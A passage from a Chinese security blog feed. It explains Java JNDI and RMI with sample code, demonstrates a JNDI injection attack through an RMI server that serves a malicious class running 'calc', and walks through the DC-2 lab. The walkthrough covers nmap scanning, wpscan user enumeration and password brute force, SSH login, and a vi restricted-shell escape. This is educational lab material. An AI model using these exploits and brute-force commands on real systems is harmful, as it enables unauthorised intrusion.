class_">UnicastRemoteObject</span> <span class="keyword">implements</span> <span class="title class_">Hello</span> &#123;</span><br><span class="line">    <span class="comment">// 构造方法需要声明抛出RemoteException异常</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">HelloImpl</span><span class="params">()</span> <span class="keyword">throws</span> java.rmi.RemoteException &#123;</span><br><span class="line">        <span class="built_in">super</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 实现Hello接口的方法</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">sayHello</span><span class="params">(String from)</span> <span class="keyword">throws</span> RemoteException &#123;</span><br><span class="line">        <span class="comment">// 在服务器端输出一条消息，表示收到客户端的调用请求</span></span><br><span class="line">        System.out.println(<span class="string">&quot;Hello from &quot;</span> + from + <span class="string">&quot;!!&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 返回一个字符串作为示例</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;sayHello&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>服务端类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.example.log4j2.test.impl.HelloImpl;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloServer</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> RemoteException, NamingException &#123;</span><br><span class="line">        <span class="comment">// 创建RMI注册表，监听在端口1099</span></span><br><span class="line">        LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 设置JNDI的属性，指定RMI注册表的地址</span></span><br><span class="line">        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, <span class="string">&quot;com.sun.jndi.rmi.registry.RegistryContextFactory&quot;</span>);</span><br><span class="line">        System.setProperty(Context.PROVIDER_URL, <span class="string">&quot;rmi://localhost:1099&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 创建初始上下文对象</span></span><br><span class="line">        <span class="type">InitialContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 将HelloImpl对象绑定到JNDI命名空间中，名字为&quot;hello&quot;</span></span><br><span class="line">        <span class="comment">// 客户端通过该名字查找到HelloImpl对象并进行远程调用</span></span><br><span class="line">        context.bind(<span class="string">&quot;hello&quot;</span>, <span class="keyword">new</span> <span class="title class_">HelloImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 关闭上下文对象</span></span><br><span class="line">        context.close();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>客户端类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.log4j2.test.Client;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.log4j2.test.Hello;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloClient</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NamingException, RemoteException &#123;</span><br><span class="line">        <span class="comment">// 设置RMI注册表的连接信息</span></span><br><span class="line">        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, <span class="string">&quot;com.sun.jndi.rmi.registry.RegistryContextFactory&quot;</span>);</span><br><span class="line">        System.setProperty(Context.PROVIDER_URL, <span class="string">&quot;rmi://localhost:1099&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 创建InitialContext对象，用于查找RMI注册表并获取远程对象引用</span></span><br><span class="line">        <span class="type">InitialContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 通过查找RMI注册表，获取远程对象的引用</span></span><br><span class="line">        <span class="type">Hello</span> <span class="variable">rmiObject</span> <span class="operator">=</span> (Hello) context.lookup(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 调用远程对象的方法，传入参数&quot;world&quot;，并接收返回值</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> rmiObject.sayHello(<span class="string">&quot;world&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 在客户端输出远程对象方法的返回结果</span></span><br><span class="line">        System.out.println(result);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 关闭InitialContext对象</span></span><br><span class="line">        context.close();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先运行<code>HelloServer</code>，再运行<code>HelloClient</code>，即可看到运行输出的结果：<code>sayHello</code>。</p><p><code>HelloServer</code>将<code>HelloImpl</code>对象绑定到<code>hello</code>名称上。<code>HelloClient</code>使用<code>hello</code>名称，即可获取<code>HelloImpl</code>对象。</p><p>端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将JNDI API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。</p><p>JNDI(Java Naming and Directory Interface)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一，所有的J2EE容器都必须提供一个JNDI的服务。</p><p>JNDI可访问的现有的目录及服务有：<br>DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP&#x2F;2000&#x2F;NT&#x2F;Me&#x2F;9x的注册表、RMI、DSML v1&amp;v2、NIS。</p><p>以上是一段百度wiki的描述。简单点来说就相当于一个索引库，一个命名服务将对象和名称联系在了一起，并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件，从而保持数据库代码不变动等。</p><h3 id="JNDI结构-1"><a href="#JNDI结构-1" class="headerlink" title="JNDI结构"></a>JNDI结构</h3><p>在Java JDK里面提供了5个包，提供给JNDI的功能实现，分别是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">javax.naming：主要用于命名操作，它包含了命名服务的类和接口，该包定义了Context接口和InitialContext类；</span><br><span class="line"></span><br><span class="line">javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；</span><br><span class="line"></span><br><span class="line">javax.naming.event：在命名目录服务器中请求事件通知；</span><br><span class="line"></span><br><span class="line">javax.naming.ldap：提供LDAP支持；</span><br><span class="line"></span><br><span class="line">javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。</span><br></pre></td></tr></table></figure><h2 id="2-前置知识-1"><a href="#2-前置知识-1" class="headerlink" title="2 前置知识"></a>2 前置知识</h2><p>其实在面对一些比较新的知识的时候，个人会去记录一些新接触到的东西，例如类的作用。因为在看其他大佬写的文章上有些在一些前置需要的知识里面没有去叙述太多，需要自己去查找。对于刚刚接触到的人来说，还需要去翻阅资料。虽然说在网上都能查到，但是还是会有很多搜索的知识点，需要一个个去进行查找。所以在之类就将一些需要用到的知识点给记录到这里面。方便理解，也方便自己去进行翻看。</p><h3 id="InitialContext类"><a href="#InitialContext类" class="headerlink" title="InitialContext类"></a>InitialContext类</h3><h4 id="构造方法："><a href="#构造方法：" class="headerlink" title="构造方法："></a>构造方法：</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">InitialContext() </span><br><span class="line">构建一个初始上下文。  </span><br><span class="line">InitialContext(<span class="type">boolean</span> abd) </span><br><span class="line">构造一个初始上下文，并选择不初始化它。  </span><br><span class="line">InitialContext(Hashtable&lt;?,?&gt; environment) </span><br><span class="line">使用提供的环境构建初始上下文。 </span><br></pre></td></tr></table></figure><p>代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">InitialContext</span> <span class="variable">initialContext</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br></pre></td></tr></table></figure><p>在这JDK里面给的解释是构建初始上下文，其实通俗点来讲就是获取初始目录环境。</p><h4 id="常用方法："><a href="#常用方法：" class="headerlink" title="常用方法："></a>常用方法：</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">bind(Name name, Object obj) </span><br><span class="line">将名称绑定到对象。 </span><br><span class="line">list(String name) </span><br><span class="line">枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。</span><br><span class="line">lookup(String name) </span><br><span class="line">检索命名对象。 </span><br><span class="line">rebind(String name, Object obj) </span><br><span class="line">将名称绑定到对象，覆盖任何现有绑定。 </span><br><span class="line">unbind(String name) </span><br><span class="line">取消绑定命名对象。 </span><br></pre></td></tr></table></figure><p>代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">jndi</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NamingException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">uri</span> <span class="operator">=</span> <span class="string">&quot;rmi://127.0.0.1:1099/exp&quot;</span>;</span><br><span class="line">        <span class="type">InitialContext</span> <span class="variable">initialContext</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line">        initialContext.lookup(uri);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Reference类"><a href="#Reference类" class="headerlink" title="Reference类"></a>Reference类</h3><p>该类也是在<code>javax.naming</code>的一个类，该类表示对在命名&#x2F;目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。</p><h4 id="构造方法：-1"><a href="#构造方法：-1" class="headerlink" title="构造方法："></a>构造方法：</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Reference(String className) </span><br><span class="line">为类名为“className”的对象构造一个新的引用。  </span><br><span class="line">Reference(String className, RefAddr addr) </span><br><span class="line">为类名为“className”的对象和地址构造一个新引用。  </span><br><span class="line">Reference(String className, RefAddr addr, String factory, String factoryLocation) </span><br><span class="line">为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。  </span><br><span class="line">Reference(String className, String factory, String factoryLocation) </span><br><span class="line">为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  </span><br></pre></td></tr></table></figure><p>参数1：<code>className</code> - 远程加载时所使用的类名</p><p>参数2：<code>classFactory</code> - 加载的<code>class</code>中需要实例化类的名称</p><p>参数3：<code>classFactoryLocation</code> - 提供<code>classes</code>数据的地址可以是<code>file/ftp/http</code>协议</p><h2 id="3-JNDI注入攻击"><a href="#3-JNDI注入攻击" class="headerlink" title="3 JNDI注入攻击"></a>3 JNDI注入攻击</h2><p>在叙述JNDI注入前先来看一段源码。</p><h4 id="代码示例："><a href="#代码示例：" class="headerlink" title="代码示例："></a>代码示例：</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.rmi.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">jndi</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NamingException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">uri</span> <span class="operator">=</span> <span class="string">&quot;rmi://127.0.0.1:1099/exploit&quot;</span>;</span><br><span class="line">        <span class="type">InitialContext</span> <span class="variable">initialContext</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();<span class="comment">//得到初始目录环境的一个引用</span></span><br><span class="line">        initialContext.lookup(uri);<span class="comment">//获取指定的远程对象</span></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在上面的<code>InitialContext.lookup(uri)</code>的这里，如果说URI可控，那么客户端就可能会被攻击。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。</p><h3 id="JNDI注入-RMI实现攻击"><a href="#JNDI注入-RMI实现攻击" class="headerlink" title="JNDI注入+RMI实现攻击"></a>JNDI注入+RMI实现攻击</h3><p>下面还是来看几段代码，来做一个分析具体的攻击流程。</p><h4 id="RMIServer代码："><a href="#RMIServer代码：" class="headerlink" title="RMIServer代码："></a>RMIServer代码：</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.log4j2.JNDIRMI;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> java.rmi.AlreadyBoundException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIserver</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> RemoteException, NamingException, AlreadyBoundException &#123;</span><br><span class="line">        <span class="comment">// 设置一个虚假的URL，实际上并不会被使用它只是作为一个占位符存在，用于创建Reference对象。</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;http://127.0.0.1:8088/&quot;</span>;</span><br><span class="line">        <span class="comment">// 创建RMI注册表，并监听在默认端口号1099</span></span><br><span class="line">        <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line">        <span class="comment">// 创建一个Reference对象，用于存储远程对象的引用信息</span></span><br><span class="line">        <span class="type">Reference</span> <span class="variable">reference</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="string">&quot;Exploit&quot;</span>, <span class="string">&quot;Exploit&quot;</span>, url);</span><br><span class="line">        <span class="comment">// 创建一个ReferenceWrapper对象，将Reference对象封装成Wrapper对象</span></span><br><span class="line">        <span class="type">ReferenceWrapper</span> <span class="variable">referenceWrapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReferenceWrapper</span>(reference);</span><br><span class="line">        <span class="comment">// 将ReferenceWrapper对象绑定到RMI注册表中，使用名字&quot;exp&quot;</span></span><br><span class="line">        registry.bind(<span class="string">&quot;exp&quot;</span>, referenceWrapper);</span><br><span class="line">        <span class="comment">// 输出提示信息</span></span><br><span class="line">        System.out.println(<span class="string">&quot;running&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="RMIClient代码："><a href="#RMIClient代码：" class="headerlink" title="RMIClient代码："></a>RMIClient代码：</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.log4j2.JNDIRMI;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIClient</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NamingException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;rmi://localhost:1099/exp&quot;</span>;</span><br><span class="line">        <span class="comment">// 创建一个初始上下文对象</span></span><br><span class="line">        <span class="type">InitialContext</span> <span class="variable">initialContext</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line">        <span class="comment">// 通过RMI URL &quot;rmi://localhost:1099/exp&quot; 在RMI注册表中查找对应的远程对象</span></span><br><span class="line">        initialContext.lookup(url);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>恶意类，挂载在web页面上让server端去请求。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.log4j2.JNDIRMI;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Exploit</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用javac命令，将该类编译成class文件挂载在web页面上。</p><p><img src="/imgs/$%7Bfiilename%7D/image-20230726143732215.png" alt="image-20230726143732215"></p><p>先运行RMIServer把恶意类绑定在RMI的Registry 里面，然后在运行RMIClient，在客户端调用<code>lookup</code>远程获取远程类的时候就会去寻找我们在RMI里面绑定的恶意类，请求到远程的类后会在本地进行执行。</p><p><img src="/imgs/$%7Bfiilename%7D/image-20230726145458695.png" alt="image-20230726145458695"></p><p>我在这里其实是执行失败了，因为在高版本中，系统属性 <code>com.sun.jndi.rmi.object.trustURLCodebase</code>、<code>com.sun.jndi.cosnaming.object.trustURLCodebase</code> 的默认值变为false。而在低版本中这几个选项默认为true，可以远程加载一些类。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;1-JNDI&quot;&gt;&lt;a href=&quot;#1-JNDI&quot; class=&quot;headerlink&quot; title=&quot;1 JNDI&quot;&gt;&lt;/a&gt;1 JNDI&lt;/h2&gt;&lt;h3 id=&quot;概述&quot;&gt;&lt;a href=&quot;#概述&quot; class=&quot;headerlink&quot; title=&quot;概述&quot;&gt;&lt;</summary>
      
    
    
    
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>DC-2靶场记录</title>
    <link href="http://example.com/2022/03/20/DC-2%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/"/>
    <id>http://example.com/2022/03/20/DC-2%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/</id>
    <published>2022-03-20T10:32:59.000Z</published>
    <updated>2024-05-14T10:49:10.725Z</updated>
    
    <content type="html"><![CDATA[<h2 id="DC2靶场渗透"><a href="#DC2靶场渗透" class="headerlink" title="DC2靶场渗透"></a>DC2靶场渗透</h2><h3 id="1、信息收集"><a href="#1、信息收集" class="headerlink" title="1、信息收集"></a>1、信息收集</h3><p>查找存活主机</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arp-scan -l</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715682913742-6.png" alt="Image"></p><p>得到DC-2的IP地址为：192.168.228.133</p><p>用nmap扫描开放的端口</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sV -p- 192.168.228.133</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715682922644-8.png" alt="Image"></p><p>可以看到DC-2开启了80端口，和ssh，ssh的端口在7744端口。</p><h3 id="2、渗透过程"><a href="#2、渗透过程" class="headerlink" title="2、渗透过程"></a>2、渗透过程</h3><p>直接去访问这个IP，发现访问不了。会自动跳转到DC-2，应该是给重定向了，本地DNS绑定一下</p><p><img src="/imgs/$%7Bfiilename%7D/image-20240514183601795.png" alt="image-20240514183601795"></p><p>vim &#x2F;etc&#x2F;hosts</p><p>添加</p><p>192.168.228.133  DC-2</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715682990499-10.png" alt="Image"></p><p>保存退出，我们就可以正常访问到网页了。</p><p><img src="/imgs/$%7Bfiilename%7D/image-20240514183654770.png" alt="image-20240514183654770"></p><p>提示是让我们用cewl</p><p>Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外，Cewl还提供了命令行工具。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cewl http://dc-2 -w passwd.txt</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/image-20240514183808157.png" alt="image-20240514183808157"></p><p>有了密码字典，还需要找登陆账号，和登陆界面</p><p>登陆界面就要挖目录去看看了，可以用dirb来挖目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dirb http://dc-2</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/image-20240514183845652.png" alt="image-20240514183845652"></p><p>访问是一个登录的页面，找到了登录界面，接下来就是找登陆密码了。我们可以看到网站是wordpress.</p><p>wordpress有一个著名的扫描工具wpscan</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url http://dc-2/ -e u   //枚举用户名字</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683183030-12.png" alt="Image"></p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683196440-14.png" alt="Image"></p><p>找到了三个用户名，admin,jerry,tom,我们把这三个用户名写到一个文本user.txt里面</p><p>使用wpscan爆破账号密码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url http://dc-2/ -U user.txt -P passwd.txt</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683235724-16.png" alt="Image"></p><p>找到了jerry,和tom的密码我们去网页登录,进去之后找到第二个flag</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683274843-18.png" alt="Image"></p><p>flag2说我们在wordpress里面找不到其他东西了</p><p>最开始我们在前面发现他开启了ssh，然后我们还一个账号和密码，尝试用ssh登录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh tom@192.168.228.133 -p 7744</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683293210-20.png" alt="Image"></p><h3 id="三、提权"><a href="#三、提权" class="headerlink" title="三、提权"></a>三、提权</h3><p>登陆进去之后我们可以看到flag3.txt，但是cat用不了，查看可以用的命令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">compgen -c    //查看可以使用的指令</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683327164-22.png" alt="Image"></p><p>vi可以用，用vi编辑器打开</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683348407-24.png" alt="Image"></p><p>提到了tom和jerry，还有su，应该是让我们提权，vi可以用，有一个vi提权。这个需要在非编辑模式下进行。</p><p>vi随便打开文件</p><p>再下面添加</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">:set shell=/bin/sh</span><br><span class="line"></span><br><span class="line">:shell</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683373698-26.png" alt="Image"></p><p>然后再输入：shell回车初步提权就成功了</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683409753-28.png" alt="Image"></p><p>返回上一级目录，看到有一个jerry目录，进去看一下，有flag4。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683472024-30.png" alt="Image"><img src="/imgs/$%7Bfiilename%7D/Image-1715683478717-32.png" 